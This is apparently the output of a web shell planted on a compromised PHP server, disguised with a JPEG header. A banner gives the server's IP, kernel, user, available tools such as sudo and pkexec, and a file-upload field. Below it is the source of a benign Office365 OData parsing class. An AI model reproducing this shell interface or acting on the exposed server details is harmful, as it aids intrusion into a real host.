????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.217 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/local/bin/vendor/vgrem/php-spo/src/Runtime/OData/ |
Upload File : |
<?php
namespace Office365\Runtime\OData;
use SimpleXMLIterator;
class ODataV3Reader extends ODataReader
{
function parseEdmx($edmx, $model, SimpleXMLIterator &$parentNode = null, SimpleXMLIterator &$prevNode = null, $prevValue=null)
{
if (is_null($parentNode)) {
$parentNode = new SimpleXMLIterator($edmx);
$parentNode->registerXPathNamespace('edmx', 'http://schemas.microsoft.com/ado/2007/06/edmx');
$dataServices = $parentNode->xpath("///edmx:DataServices");
$curNode = $dataServices[0];
} else {
$curNode = new SimpleXMLIterator($prevNode->asXML());
}
/** @var SimpleXMLIterator $childNode */
foreach ($curNode as $childNode) {
$nodeName = $childNode->getName();
switch ($nodeName) {
case "ComplexType":
case "EntityType":
$typeSchema = $this->processTypeNode($childNode, $prevNode);
if ($model->resolveType($typeSchema)) {
if (is_null($childNode->getChildren())) {
$this->parseEdmx($edmx, $model, $curNode, $childNode, $typeSchema);
}
}
break;
case "FunctionImport":
$funcSchema = $this->processFunctionNode($childNode, $parentNode);
if ($model->resolveFunction($funcSchema)) {
$this->parseEdmx($edmx, $model, $curNode, $childNode, $funcSchema);
}
break;
case "Parameter":
$parameterSchema = array(
'type' => (string)$childNode->attributes()["Type"],
'name' => (string)$childNode->attributes()["Name"]
);
$model->resolveParameter($prevValue, $parameterSchema);
break;
case "Property":
if ($prevValue) {
$propertySchema = $this->processPropertyNode($childNode, $parentNode);
$model->resolveProperty($prevValue, $propertySchema);
}
break;
case "NavigationProperty":
$propertySchema = $this->processPropertyNode($childNode, $parentNode);
if (!is_null($propertySchema['type'])) {
$model->resolveProperty($prevValue, $propertySchema);
}
break;
default:
if (is_null($childNode->getChildren())) {
$this->parseEdmx($edmx,$model, $parentNode, $childNode);
}
break;
}
}
}
private function processTypeNode(SimpleXMLIterator $curNode, SimpleXMLIterator $parentNode)
{
$schema = array(
'alias' => (string)$curNode->attributes()["Name"],
'baseType' => $curNode->getName(),
'properties' => array()
);
$schema['name'] = (string)$parentNode->attributes()["Namespace"] . "." . $schema['alias'];
return $schema;
}
private function processFunctionNode(SimpleXMLIterator $curNode, SimpleXMLIterator $parentNode)
{
$parentNode->registerXPathNamespace('xmlns', 'http://schemas.microsoft.com/ado/2009/11/edm');
$funcAlias = (string)$curNode->attributes()["Name"];
$returnType = (string)$curNode->attributes()["ReturnType"];
$entitySet = (string)$curNode->attributes()["EntitySet"];
$isBindable = (string)$curNode->attributes()["IsBindable"] !== "";
$result = $parentNode->xpath("////xmlns:EntityContainer[@Name='ApiData']/xmlns:EntitySet[@Name='$entitySet']");
$typeName = null;
if($result){
$typeName = (string)$result[0]->attributes()['EntityType'];
}
return array('alias' => $funcAlias,'returnType' => $returnType, 'name' => $typeName, 'parameters' => array(), 'isBindable' => $isBindable);
}
private function processPropertyNode(SimpleXMLIterator $curNode, SimpleXMLIterator $parentNode)
{
$isNavigation = $curNode->getName() === "NavigationProperty";
if(!$isNavigation){
return array(
'name' => (string)$curNode->attributes()["Name"],
'type' => (string)$curNode->attributes()["Type"]
);
}
$propAlias = (string)$curNode->attributes()["Name"];
$propType = $this->getPropertyType($curNode, $parentNode, $propAlias);
$baseType = $this->getBaseType($parentNode,$propType);
return array(
'name' => $propAlias,
'type' => $propType,
'baseType' => $baseType,
'readOnly' => true
);
}
private function getBaseType(SimpleXMLIterator $schemaNode, $typeName)
{
$parts = explode('.', $typeName);
$typeAlias = array_pop($parts);
$namespace = implode(".",$parts);
$result = $schemaNode->xpath("///xmlns:Schema[@Namespace='$namespace']/xmlns:EntityType[@Name='$typeAlias']");
if ($result)
return "EntityType";
$result = $schemaNode->xpath("///xmlns:Schema[@Namespace='$namespace']/xmlns:ComplexType[@Name='$typeAlias']");
if ($result)
return "ComplexType";
return null;
}
private function getPropertyType(SimpleXMLIterator $propertyNode, SimpleXMLIterator $schemaNode, $name){
$schemaNode->registerXPathNamespace('xmlns', 'http://schemas.microsoft.com/ado/2009/11/edm');
$relationship = explode('.',(string)$propertyNode->attributes()['Relationship']);
$associations = $schemaNode->xpath("////xmlns:Association[@Name='$relationship[1]']/xmlns:End[@Role='$name']");
if($associations){
$multiplicity = (string)$associations[0]->attributes()['Multiplicity'];
if($multiplicity === "*")
return "Collection(" . (string)$associations[0]->attributes()['Type'] . ")";
return (string)$associations[0]->attributes()['Type'];
}
return null;
}
}